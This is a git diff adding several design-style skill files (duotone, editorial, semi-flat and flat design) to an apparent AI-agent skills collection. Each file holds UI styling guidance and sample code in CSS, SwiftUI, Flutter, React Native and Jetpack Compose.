(red/green) for data deltas, but keep the saturation muted to prevent eye fatigue. +- **DON'T**: Use large padding or giant H1 headers. Expert users already know what screen they are on. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/duotone-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/duotone-design/SKILL.md new file mode 100644 index 00000000..d2bebbda --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/duotone-design/SKILL.md @@ -0,0 +1,248 @@ +--- +name: duotone-design +description: Web and App implementation guide for Duotone Design. Trigger when user wants two-color schemes, striking imagery, and Spotify-like playlist aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Duotone Design + +> "Striking contrast. Photography and UI stripped down to exactly two clashing or complementary colors." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Two Colors Only**: The entire design is mapped to a dark color (replacing blacks/shadows) and a light color (replacing whites/highlights). +2. **Treated Imagery**: All photos MUST be processed into the duotone palette. +3. **Bold, Flat Typography**: Text is usually massive, solid, and uses one of the two colors. + +## Visual DNA +- **Colors**: Very high contrast pairs. Navy and Peach, Deep Purple and Neon Green, Crimson and Cream. Look at **Industrial Chic** for inspiration. +- **Typography**: Heavy, condensed sans-serifs (e.g., `League Gothic`, `Oswald`). +- **Imagery**: High-contrast, gritty photography works best when mapped to duotone. + +## Web Implementation +- Modern CSS can achieve image duotone effects without Photoshop, using `mix-blend-mode` and filters. +- **CSS Example**: +```css +:root { + --duo-dark: #1E0045; /* Deep Purple */ + --duo-light: #CCFF00; /* Neon Lime */ +} + +body { + background-color: var(--duo-dark); + color: var(--duo-light); +} + +/* CSS Duotone Image Effect */ +.duotone-container { + position: relative; + width: 100%; + height: 400px; + background-color: var(--duo-light); /* Base color */ +} + +.duotone-container img { + width: 100%; + height: 100%; + object-fit: cover; + /* Convert image to grayscale, increase contrast */ + filter: grayscale(100%) contrast(1.5); + /* Multiply the grayscale image against the light background */ + mix-blend-mode: multiply; +} + +.duotone-container::after { + /* Overlay the dark color using screen/lighten */ + content: ''; + position: absolute; + top: 0; left: 0; right: 0; bottom: 0; + background-color: var(--duo-dark); + mix-blend-mode: screen; +} + +.duotone-btn { + background: var(--duo-light); + color: var(--duo-dark); + border: none; + font-weight: 900; + text-transform: uppercase; + padding: 16px 32px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct DuotoneImage: View { + let duoDark = Color(red: 0.12, green: 0.0, blue: 0.27) // #1E0045 + let duoLight = Color(red: 0.8, green: 1.0, blue: 0.0) // #CCFF00 + + var body: some View { + ZStack { + // Background base color + duoLight.ignoresSafeArea() + + // Image processing + Image("sample_photo") + .resizable() + .scaledToFill() + .grayscale(1.0) + .contrast(1.5) + .colorMultiply(duoLight) // Multiplies the light color into the grays + + // Dark color overlay + duoDark + .blendMode(.screen) // Equivalent to CSS screen blend mode + .allowsHitTesting(false) + } + .frame(height: 400) + .clipped() + } +} +``` +- Real-time image processing is easy in SwiftUI. +- Convert to `.grayscale()`, boost `.contrast()`, then use `.colorMultiply()` and `.blendMode(.screen)` layers to map the two colors exactly like CSS `mix-blend-mode`. + +### Flutter +```dart +class DuotoneImage extends StatelessWidget { + final Color duoDark = const Color(0xFF1E0045); + final Color duoLight = const Color(0xFFCCFF00); + + @override + Widget build(BuildContext context) { + return Container( + height: 400, + width: double.infinity, + color: duoLight, + child: Stack( + fit: StackFit.expand, + children: [ + // 1. Grayscale & Contrast (using ColorFilter matrix) + // 2. Light Color Multiply + ColorFiltered( + colorFilter: ColorFilter.mode(duoLight, BlendMode.multiply), + child: ColorFiltered( + // Simple grayscale matrix + colorFilter: const ColorFilter.matrix([ + 0.2126, 0.7152, 0.0722, 0, 0, + 0.2126, 0.7152, 0.0722, 0, 0, + 0.2126, 0.7152, 0.0722, 0, 0, + 0, 0, 0, 1, 0, + ]), + child: Image.asset('assets/sample_photo.jpg', fit: BoxFit.cover), + ), + ), + // 3. Dark Color Screen Overlay + ColorFiltered( + colorFilter: ColorFilter.mode(duoDark, BlendMode.screen), + child: Container(color: Colors.transparent), // Applies filter to stack below + ), + ], + ), + ); + } +} +``` +- Flutter requires stacking `ColorFiltered` widgets. +- Use a `ColorFilter.matrix` to convert the image to grayscale first. +- Apply `BlendMode.multiply` with the light color, then overlay the dark color using `BlendMode.screen`. + +### React Native +```jsx +// Real-time CSS-like blend modes do NOT exist natively in React Native. +// You must use react-native-skia or pre-process images. + +import { Canvas, Image, useImage, ColorMatrix } from "@shopify/react-native-skia"; + +const DuotoneImage = () => { + const image = useImage(require('./sample_photo.jpg')); + + if (!image) return null; + + // Skia allows custom SVG/CSS style color matrices. + // Building a true duotone matrix requires math mapping black to duoDark + // and white to duoLight. + + return ( + <View style={{ height: 400, backgroundColor: '#CCFF00' }}> + <Canvas style={{ flex: 1 }}> + <Image image={image} x={0} y={0} width={400} height={400} fit="cover"> + {/* Note: In production, you would construct a specific + ColorMatrix to map the luminance to the two hex colors. */} + <ColorMatrix + matrix={[ + -1, 0, 0, 0, 255, + 0, -1, 0, 0, 255, + 0, 0, -1, 0, 255, + 0, 0, 0, 1, 0, + ]} + /> + </Image> + </Canvas> + </View> + ); +}; +``` +- **Critical Limitation**: Standard React Native `<Image>` cannot do duotone blending. +- **Solution 1**: Use `@shopify/react-native-skia` to apply low-level color matrices and blend modes. +- **Solution 2**: Pre-process all imagery in Photoshop/Figma before importing into the app. This is the safest and most performant route. + +### Jetpack Compose +```kotlin +@Composable +fun DuotoneImage() { + val duoDark = Color(0xFF1E0045) + val duoLight = Color(0xFFCCFF00) + + // A ColorMatrix to map luminance to the two colors is required for true duotone. + // For simplicity, we use BlendModes here to approximate the CSS multiply/screen effect. + Box(modifier = Modifier + .fillMaxWidth() + .height(400.dp) + .background(duoLight) + ) { + Image( + painter = painterResource(id = R.drawable.sample_photo), + contentDescription = null, + contentScale = ContentScale.Crop, + modifier = Modifier.matchParentSize(), + colorFilter = ColorFilter.colorMatrix(ColorMatrix().apply { + setToSaturation(0f) // Grayscale + }) + ) + + // Multiply light color + Spacer(modifier = Modifier + .matchParentSize() + .background(duoLight) + .graphicsLayer { blendMode = BlendMode.Multiply } + ) + + // Screen dark color + Spacer(modifier = Modifier + .matchParentSize() + .background(duoDark) + .graphicsLayer { blendMode = BlendMode.Screen } + ) + } +} +``` +- Use `ColorFilter.colorMatrix` with `setToSaturation(0f)` to make the image grayscale. +- Use `Spacer` overlays with `Modifier.graphicsLayer { blendMode = BlendMode... }` to apply the dual color mapping. +- Similar to Flutter, layer `Multiply` (light) and `Screen` (dark) to achieve the effect. + +## Do's and Don'ts +- **DO**: Ensure the dark color is dark enough to be legible when used as text against the light color. +- **DON'T**: Add a third color. It instantly ruins the aesthetic. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/editorial-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/editorial-design/SKILL.md new file mode 100644 index 00000000..bb2db71a --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/editorial-design/SKILL.md @@ -0,0 +1,328 @@ +--- +name: editorial-design +description: Web and App implementation guide for Editorial Design. Trigger when user wants a magazine-inspired layout, large headlines, and elegant typography pairing. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Editorial Design + +> "The digital magazine. Sophisticated typography pairings and deliberate, elegant pacing." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Serif & Sans-Serif Pairing**: The hallmark of editorial design. A beautiful, high-contrast serif for headings, paired with a clean sans-serif for body copy. +2. **Large Drop Caps & Pull Quotes**: Typographic flourishes that guide the eye and break up long blocks of text. +3. **Columnar Layouts**: Content flows in distinct columns, often with fine lines (rules) separating them. + +## Visual DNA +- **Colors**: **Modern Editorial** or **Yacht Club**. Warm, paper-like backgrounds with deep, ink-like blacks or navy blues. +- **Typography**: + - Headlines: `Playfair Display`, `Merriweather`, `Bodoni`. + - Body: `Lato`, `Open Sans`, `Source Sans Pro`. +- **Borders**: Thin, elegant horizontal lines (hairlines) used to separate sections. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #F9F9F9; /* Paper white */ + color: #121212; /* Ink black */ +} + +/* Typography Pairing */ +.editorial-headline { + font-family: 'Playfair Display', serif; + font-size: 4rem; + font-weight: 700; + font-style: italic; + margin-bottom: 24px; + border-bottom: 1px solid #121212; + padding-bottom: 24px; +} + +.editorial-body { + font-family: 'Lato', sans-serif; + font-size: 1.1rem; + line-height: 1.8; + column-count: 2; /* Magazine columns */ + column-gap: 40px; +} + +/* Drop Cap */ +.editorial-body::first-letter { + font-family: 'Playfair Display', serif; + font-size: 4rem; + float: left; + line-height: 0.8; + padding-right: 12px; + color: var(--cta-highlight); +} + +.pull-quote { + font-family: 'Playfair Display', serif; + font-size: 2rem; + text-align: center; + margin: 48px 0; + padding: 24px 0; + border-top: 2px solid #121212; + border-bottom: 2px solid #121212; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct EditorialView: View { + var body: some View { + ScrollView { + VStack(alignment: .leading, spacing: 24) { + // Editorial Headline + Text("The Digital\nMagazine") + .font(.custom("Playfair Display", size: 48)) + .fontWeight(.bold) + .italic() + .foregroundColor(Color(white: 0.05)) + .padding(.bottom, 16) + + Divider().background(Color.black) + + // Drop Cap and Body + HStack(alignment: .top, spacing: 8) { + Text("I") + .font(.custom("Playfair Display", size: 64)) + .foregroundColor(Color(red: 0.7, green: 0.2, blue: 0.2)) + // Negative padding to pull the body text tighter to the drop cap + .padding(.top, -10) + + Text("n an era of sterile, flat interfaces, the return to elegant typography feels like a breath of fresh air. The interplay of serif and sans-serif...") + .font(.custom("Lato", size: 16)) + .lineSpacing(6) + .foregroundColor(Color(white: 0.1)) + } + + // Pull Quote + VStack { + Divider().background(Color.black) + Text("“Sophistication is in the spacing.”") + .font(.custom("Playfair Display", size: 28)) + .italic() + .multilineTextAlignment(.center) + .padding(.vertical, 24) + Divider().background(Color.black) + } + .padding(.vertical, 24) + } + .padding(24) + } + .background(Color(red: 0.98, green: 0.98, blue: 0.96)) // Warm paper white + } +} +``` +- Extensive use of `.font(.custom())` is mandatory. System fonts look too app-like. +- Use `Divider()` to create the hairlines that are so common in print design. +- A fake "drop cap" can be achieved with an `HStack` aligning top. + +### Flutter +```dart +class EditorialScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFFF9F9F8), // Paper background + body: SingleChildScrollView( + padding: const EdgeInsets.all(24.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const SizedBox(height: 40), + const Text( + 'The Digital\nMagazine', + style: TextStyle(fontFamily: 'PlayfairDisplay', fontSize: 48, fontWeight: FontWeight.bold, fontStyle: FontStyle.italic, height: 1.1), + ), + const SizedBox(height: 24), + const Divider(color: Colors.black, thickness: 1), + const SizedBox(height: 24), + // Body with Drop Cap simulation using RichText is complex, + // a simpler Row approach works well enough for mobile. + Row( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text( + 'I', + style: TextStyle(fontFamily: 'PlayfairDisplay', fontSize: 72, height: 1.0, color: Color(0xFF8B0000)), + ), + const SizedBox(width: 8), + Expanded( + child: const Text( + 'n an era of sterile, flat interfaces, the return to elegant typography feels like a breath of fresh air. The interplay of serif and sans-serif brings humanity back to the screen.', + style: TextStyle(fontFamily: 'Lato', fontSize: 16, height: 1.6, color: Colors.black87), + ), + ), + ], + ), + const SizedBox(height: 48), + // Pull Quote + const Divider(color: Colors.black, thickness: 2), + const Padding( + padding: EdgeInsets.symmetric(vertical: 32.0), + child: Center( + child: Text( + '“Sophistication is in the spacing.”', + textAlign: TextAlign.center, + style: TextStyle(fontFamily: 'PlayfairDisplay', fontSize: 28, fontStyle: FontStyle.italic), + ), + ), + ), + const Divider(color: Colors.black, thickness: 2), + ], + ), + ), + ); + } +} +``` +- Set `height` parameters in `TextStyle` (line-height). `1.6` is a good editorial body height. +- Use `Divider` with `thickness: 2` for the heavy rules around pull quotes. + +### React Native +```jsx +const EditorialScreen = () => { + return ( + <ScrollView style={{ flex: 1, backgroundColor: '#F9F9F8', padding: 24 }}> + <Text style={{ + fontFamily: 'PlayfairDisplay-BoldItalic', + fontSize: 48, + color: '#121212', + lineHeight: 52, + marginTop: 40, + marginBottom: 24 + }}> + The Digital{'\n'}Magazine + </Text> + + <View style={{ height: 1, backgroundColor: '#121212', marginBottom: 24 }} /> + + <View style={{ flexDirection: 'row' }}> + <Text style={{ + fontFamily: 'PlayfairDisplay-Bold', + fontSize: 72, + color: '#8B0000', + lineHeight: 80, + marginTop: -10, // Adjust alignment + marginRight: 8 + }}> + I + </Text> + <Text style={{ + flex: 1, + fontFamily: 'Lato-Regular', + fontSize: 16, + lineHeight: 26, + color: '#333' + }}> + n an era of sterile, flat interfaces, the return to elegant typography feels like a breath of fresh air. The interplay of serif and sans-serif brings humanity. + </Text> + </View> + + {/* Pull Quote */} + <View style={{ + borderTopWidth: 2, borderBottomWidth: 2, borderColor: '#121212', + marginTop: 48, paddingVertical: 32 + }}> + <Text style={{ + fontFamily: 'PlayfairDisplay-Italic', + fontSize: 28, + textAlign: 'center', + color: '#121212' + }}> + “Sophistication is in the spacing.” + </Text> + </View> + </ScrollView> + ); +}; +``` +- Line heights and fonts are everything. You must have custom fonts linked in your React Native project for this style to work. +- Use `borderTopWidth` and `borderBottomWidth` on a container `View` to create the pull quote styling. + +### Jetpack Compose +```kotlin +@Composable +fun EditorialScreen() { + // Assuming Playfair and Lato are defined in FontFamily + val playfair = FontFamily.Serif + val lato = FontFamily.SansSerif + + Column( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFFF9F9F8)) + .verticalScroll(rememberScrollState()) + .padding(24.dp) + ) { + Spacer(Modifier.height(40.dp)) + + Text( + text = "The Digital\nMagazine", + fontFamily = playfair, + fontSize = 48.sp, + fontWeight = FontWeight.Bold, + fontStyle = FontStyle.Italic, + lineHeight = 52.sp, + color = Color(0xFF121212) + ) + + Spacer(Modifier.height(24.dp)) + Divider(color = Color(0xFF121212), thickness = 1.dp) + Spacer(Modifier.height(24.dp)) + + Row(verticalAlignment = Alignment.Top) { + Text( + text = "I", + fontFamily = playfair, + fontSize = 72.sp, + color = Color(0xFF8B0000), + modifier = Modifier.offset(y = (-10).dp).padding(end = 8.dp) + ) + Text( + text = "n an era of sterile, flat interfaces, the return to elegant typography feels like a breath of fresh air. The interplay of serif and sans-serif.", + fontFamily = lato, + fontSize = 16.sp, + lineHeight = 26.sp, + color = Color(0xFF333333) + ) + } + + Spacer(Modifier.height(48.dp)) + + // Pull Quote + Divider(color = Color(0xFF121212), thickness = 2.dp) + Text( + text = "“Sophistication is in the spacing.”", + fontFamily = playfair, + fontSize = 28.sp, + fontStyle = FontStyle.Italic, + textAlign = TextAlign.Center, + modifier = Modifier.fillMaxWidth().padding(vertical = 32.dp) + ) + Divider(color = Color(0xFF121212), thickness = 2.dp) + } +} +``` +- Compose handles custom fonts and line heights (`26.sp`) very elegantly. +- Use `Divider()` for the hairlines. Adjust thickness as needed for headers vs pull quotes. + +## Do's and Don'ts +- **DO**: Treat the interface like a printed page. Margins should be generous. +- **DON'T**: Clutter the UI with typical app components like floating action buttons or heavy navigation bars. Keep it clean. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/flat-design-2/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/flat-design-2/SKILL.md new file mode 100644 index 00000000..146a2441 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/flat-design-2/SKILL.md @@ -0,0 +1,240 @@ +--- +name: flat-design-2 +description: Web and App implementation guide for Flat Design 2.0 (Semi-Flat). Trigger when the user wants flat design with subtle shadows and improved usability. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Flat Design 2.0 (Semi-Flat) + +> "Flat aesthetics, but with subtle hints of physics to communicate interactability." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Mostly Flat**: The primary aesthetic remains 2D and solid. +2. **Subtle Elevation**: Use extremely soft, large-spread shadows strictly to indicate interactable elements (buttons, floating action buttons) or layers (modals). +3. **Micro-Gradients**: Occasional, barely noticeable linear gradients to prevent large surfaces from feeling dead. + +## Visual DNA +- **Colors**: Pairs well with **Warm Tech** or **Earth-Grounded Elegance**. +- **Typography**: Clean, readable sans-serifs. +- **Shadows**: Shadows must be low opacity, high blur, and usually tinted with the background color, not pure black. + +## Web Implementation +- **CSS Example**: +```css +:root { + --shadow-color: rgba(43, 48, 58, 0.08); /* Tinted shadow */ +} + +.flat2-card { + background-color: var(--bg-primary); + border-radius: 8px; + padding: 32px; + /* Very subtle, diffuse shadow */ + box-shadow: 0 10px 30px var(--shadow-color); + transition: transform 0.3s ease, box-shadow 0.3s ease; +} + +.flat2-card:hover { + transform: translateY(-4px); + box-shadow: 0 20px 40px rgba(43, 48, 58, 0.12); +} + +.flat2-btn { + background: var(--cta-highlight); + border-radius: 4px; + padding: 12px 24px; + color: white; + border: none; + box-shadow: 0 4px 12px rgba(0,0,0,0.1); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct SemiFlatCard: View { + @State private var isPressed = false + + var body: some View { + VStack(alignment: .leading, spacing: 16) { + Text("Semi-Flat Card") + .font(.system(size: 18, weight: .semibold)) + Text("Flat aesthetic with just enough depth to hint at interactivity.") + .font(.system(size: 15)) + .foregroundColor(.secondary) + } + .padding(24) + .background(Color(.systemBackground)) + .cornerRadius(8) + // The key: very soft, tinted shadow — NOT harsh black + .shadow(color: Color.black.opacity(0.06), radius: 12, x: 0, y: 4) + .scaleEffect(isPressed ? 0.98 : 1.0) + .animation(.easeOut(duration: 0.2), value: isPressed) + .onLongPressGesture(minimumDuration: .infinity, pressing: { pressing in + isPressed = pressing + }, perform: {}) + } +} + +struct SemiFlatButton: View { + var body: some View { + Button(action: {}) { + Text("Continue") + .font(.system(size: 15, weight: .semibold)) + .foregroundColor(.white) + .padding(.horizontal, 24) + .padding(.vertical, 12) + .background(Color.accentColor) + .cornerRadius(4) + // Subtle button shadow + .shadow(color: Color.accentColor.opacity(0.25), radius: 8, x: 0, y: 4) + } + .buttonStyle(.plain) + } +} +``` +- Shadow color should be tinted (e.g., `Color.accentColor.opacity(0.15)`), never pure black. +- Use `radius: 10...16` with `opacity: 0.05...0.08` — if you can immediately see the shadow, it's too heavy. +- Add subtle `scaleEffect` on press to hint at physical feedback. + +### Flutter +```dart +class SemiFlatCard extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(8), + // Very soft, tinted shadow + boxShadow: [ + BoxShadow( + color: const Color(0xFF2B303A).withOpacity(0.08), + blurRadius: 24, + offset: const Offset(0, 8), + spreadRadius: 0, + ), + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text('Semi-Flat Card', + style: TextStyle(fontSize: 18, fontWeight: FontWeight.w600)), + const SizedBox(height: 16), + const Text('Flat aesthetic with just enough depth to hint at interactivity.', + style: TextStyle(fontSize: 15, color: Colors.black54)), + const SizedBox(height: 20), + ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + elevation: 2, // Very low — just enough to feel clickable + shadowColor: Theme.of(context).primaryColor.withOpacity(0.3), + backgroundColor: Theme.of(context).primaryColor, + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(4)), + padding: const EdgeInsets.symmetric(horizontal: 24, vertical: 12), + ), + child: const Text('Continue', style: TextStyle(fontWeight: FontWeight.w600)), + ), + ], + ), + ); + } +} +``` +- Use `elevation: 1` to `elevation: 4` max. Never exceed `elevation: 6`. +- Tint the `shadowColor` to match the card's background or the brand color. +- Use `InkWell` for ripple effects and a slight `Transform.translate` animation on press. + +### React Native +```jsx +const SemiFlatCard = () => ( + <View style={{ + padding: 24, + backgroundColor: '#FFFFFF', + borderRadius: 8, + // Very subtle, diffuse shadow + shadowColor: '#2B303A', + shadowOffset: { width: 0, height: 8 }, + shadowOpacity: 0.08, + shadowRadius: 24, + // Android + elevation: 3, + }}> + <Text style={{ fontSize: 18, fontWeight: '600', marginBottom: 16 }}> + Semi-Flat Card + </Text> + <Text style={{ fontSize: 15, color: '#666', marginBottom: 20 }}> + Flat aesthetic with just enough depth to hint at interactivity. + </Text> + <Pressable + style={({ pressed }) => ({ + backgroundColor: '#4A90D9', + paddingHorizontal: 24, + paddingVertical: 12, + borderRadius: 4, + alignSelf: 'flex-start', + transform: [{ scale: pressed ? 0.97 : 1 }], + shadowColor: '#4A90D9', + shadowOffset: { width: 0, height: 4 }, + shadowOpacity: 0.25, + shadowRadius: 8, + })} + > + <Text style={{ color: '#FFF', fontWeight: '600' }}>Continue</Text> + </Pressable> + </View> +); +``` +- On iOS use `shadowOpacity: 0.05...0.10` with `shadowRadius: 16...24` for a diffuse spread. +- On Android, `elevation: 2...4` is equivalent. Avoid going above `elevation: 6`. +- Use `Pressable` with `({ pressed })` style callback for animated press states. + +### Jetpack Compose +```kotlin +@Composable +fun SemiFlatCard() { + Card( + modifier = Modifier.fillMaxWidth(), + shape = RoundedCornerShape(8.dp), + elevation = CardDefaults.cardElevation(defaultElevation = 2.dp), + colors = CardDefaults.cardColors(containerColor = Color.White), + ) { + Column(modifier = Modifier.padding(24.dp)) { + Text("Semi-Flat Card", fontSize = 18.sp, fontWeight = FontWeight.SemiBold) + Spacer(Modifier.height(16.dp)) + Text("Flat aesthetic with just enough depth to hint at interactivity.", + fontSize = 15.sp, color = Color(0xFF666666)) + Spacer(Modifier.height(20.dp)) + Button( + onClick = {}, + shape = RoundedCornerShape(4.dp), + elevation = ButtonDefaults.buttonElevation(defaultElevation = 2.dp), + contentPadding = PaddingValues(horizontal = 24.dp, vertical = 12.dp), + ) { + Text("Continue", fontWeight = FontWeight.SemiBold) + } + } + } +} +``` +- Use `CardDefaults.cardElevation(defaultElevation = 2.dp)` — keep it under 4dp. +- On hover/press: `hoveredElevation = 4.dp, pressedElevation = 1.dp` for subtle physics. +- Tint shadows by using `Modifier.shadow(elevation, shape, ambientColor, spotColor)` with custom tinted colors. + +## Do's and Don'ts +- **DO**: Keep shadows incredibly subtle. If you immediately notice the shadow, it's too dark. +- **DON'T**: Use inner shadows, heavy gradients, or skeuomorphic textures. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/flat-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/flat-design/SKILL.md new file mode 100644 index 00000000..45b2966c --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/flat-design/SKILL.md @@ -0,0 +1,221 @@ +--- +name: flat-design +description: Web and App implementation guide for the Flat Design style. Trigger when the user wants no shadows, simple shapes, and bold colors. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Flat Design + +> "Digital surfaces should look digital. Embrace the 2D plane." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Zero Depth**: Absolutely no drop shadows, bevels, gradients, or 3D effects. Everything sits on the same z-axis. +2. **Sharp & Simple Geometries**: Perfect circles, sharp rectangles. No complex organic shapes. +3. **High Contrast Solid Colors**: Rely on stark contrast between solid blocks of color to delineate space. + +## Visual DNA +- **Colors**: Pairs well with **Industrial Chic** or **Modern Editorial**. Avoid gradients entirely. +- **Typography**: Strong, highly legible sans-serifs (e.g., `Roboto`, `Open Sans`). Keep it medium to bold. +- **Icons**: Solid, monochromatic, glyph-style icons without intricate details. + +## Web Implementation +- Rely entirely on background colors and borders for structure. +- **CSS Example**: +```css +.flat-card { + background-color: var(--secondary-base); + border: 2px solid var(--primary-text); + border-radius: 0; /* Sharp corners preferred */ + padding: 32px; + /* NO box-shadow */ +} +.flat-btn { + background-color: var(--cta-highlight); + color: #fff; + border: none; + padding: 16px 32px; + font-weight: 700; + text-transform: uppercase; + transition: opacity 0.2s; +} +.flat-btn:hover { + opacity: 0.8; /* Only change opacity or solid color on hover, no lifting */ +} +``` + +## App Implementation + +### SwiftUI +```swift +struct FlatCard: View { + var body: some View { + VStack(alignment: .leading, spacing: 16) { + Text("Card Title") + .font(.system(size: 18, weight: .bold)) + + Text("Content without any depth effects.") + .font(.system(size: 15)) + .foregroundColor(.secondary) + + Button(action: {}) { + Text("ACTION") + .font(.system(size: 14, weight: .bold)) + .foregroundColor(.white) + .padding(.horizontal, 24) + .padding(.vertical, 12) + .background(Color.blue) + // No cornerRadius — sharp edges + } + } + .padding(24) + .background(Color(.secondarySystemBackground)) + // NO .shadow() — ever + // NO .cornerRadius() — sharp rectangles + .overlay( + Rectangle().stroke(Color.primary.opacity(0.2), lineWidth: 1) + ) + } +} +``` +- Never use `.shadow()` or `.cornerRadius()`. Elements are flat rectangles. +- Use `.overlay(Rectangle().stroke(...))` for visible borders instead of shadows to delineate space. +- Hover/tap states should only change `opacity` or swap a solid background color. + +### Flutter +```dart +class FlatCard extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: Colors.grey[100], + border: Border.all(color: Colors.black26, width: 1), + // borderRadius: NONE — sharp corners + // boxShadow: NONE — zero depth + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text('Card Title', + style: TextStyle(fontSize: 18, fontWeight: FontWeight.bold)), + const SizedBox(height: 16), + const Text('Content without any depth effects.', + style: TextStyle(fontSize: 15, color: Colors.black54)), + const SizedBox(height: 16), + ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + elevation: 0, // Critical: no shadow + backgroundColor: Colors.blue, + foregroundColor: Colors.white, + shape: const RoundedRectangleBorder( + borderRadius: BorderRadius.zero, // Sharp corners + ), + padding: const EdgeInsets.symmetric(horizontal: 24, vertical: 12), + ), + child: const Text('ACTION', + style: TextStyle(fontWeight: FontWeight.bold, letterSpacing: 1)), + ), + ], + ), + ); + } +} +``` +- Override `ThemeData` globally to kill all elevation: + ```dart + ThemeData( + cardTheme: const CardTheme(elevation: 0, shape: RoundedRectangleBorder()), + appBarTheme: const AppBarTheme(elevation: 0), + floatingActionButtonTheme: const FloatingActionButtonThemeData(elevation: 0), + ) + ``` +- Use `Container` with `BoxDecoration` instead of `Card` widget to avoid default elevation. + +### React Native +```jsx +const FlatCard = () => ( + <View style={{ + padding: 24, + backgroundColor: '#F0F0F0', + borderWidth: 1, + borderColor: '#CCCCCC', + // NO borderRadius + // NO elevation or shadow properties + }}> + <Text style={{ fontSize: 18, fontWeight: '700', marginBottom: 16 }}> + Card Title + </Text> + <Text style={{ fontSize: 15, color: '#666', marginBottom: 16 }}> + Content without any depth effects. + </Text> + <TouchableOpacity + style={{ + backgroundColor: '#2196F3', + paddingHorizontal: 24, + paddingVertical: 12, + alignSelf: 'flex-start', + // NO borderRadius, NO elevation + }} + activeOpacity={0.7} + > + <Text style={{ color: '#FFF', fontWeight: '700', letterSpacing: 1 }}> + ACTION + </Text> + </TouchableOpacity> + </View> +); +``` +- Explicitly set `elevation: 0` and remove ALL shadow properties (`shadowColor`, `shadowOffset`, etc.). +- If using React Native Paper, override the theme: `const theme = { ...DefaultTheme, roundness: 0, }`. +- Tap feedback should change `backgroundColor` directly, not add glow or lift. + +### Jetpack Compose +```kotlin +@Composable +fun FlatCard() { + Column( + modifier = Modifier + .background(Color(0xFFF0F0F0)) + .border(1.dp, Color(0xFFCCCCCC)) + .padding(24.dp) + ) { + Text("Card Title", fontSize = 18.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(16.dp)) + Text("Content without any depth effects.", + fontSize = 15.sp, color = Color(0xFF666666)) + Spacer(Modifier.height(16.dp)) + Button( + onClick = {}, + shape = RectangleShape, // Sharp corners + elevation = ButtonDefaults.buttonElevation( + defaultElevation = 0.dp, // No shadow + pressedElevation = 0.dp, + ), + colors = ButtonDefaults.buttonColors(containerColor = Color(0xFF2196F3)), + contentPadding = PaddingValues(horizontal = 24.dp, vertical = 12.dp), + ) { + Text("ACTION", fontWeight = FontWeight.Bold, letterSpacing = 1.sp) + } + } +} +``` +- Override `MaterialTheme` shapes: `shapes = Shapes(small = RectangleShape, medium = RectangleShape, large = RectangleShape)`. +- Set all elevation to `0.dp` on `Card`, `TopAppBar`, and `FloatingActionButton`. +- Use `Modifier.border()` instead of elevation to separate UI regions. + +## Do's and Don'ts +- **DO**: Use solid, contrasting borders to separate overlapping elements. +- **DON'T**: Use any transparency (rgba) or blur effects. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git 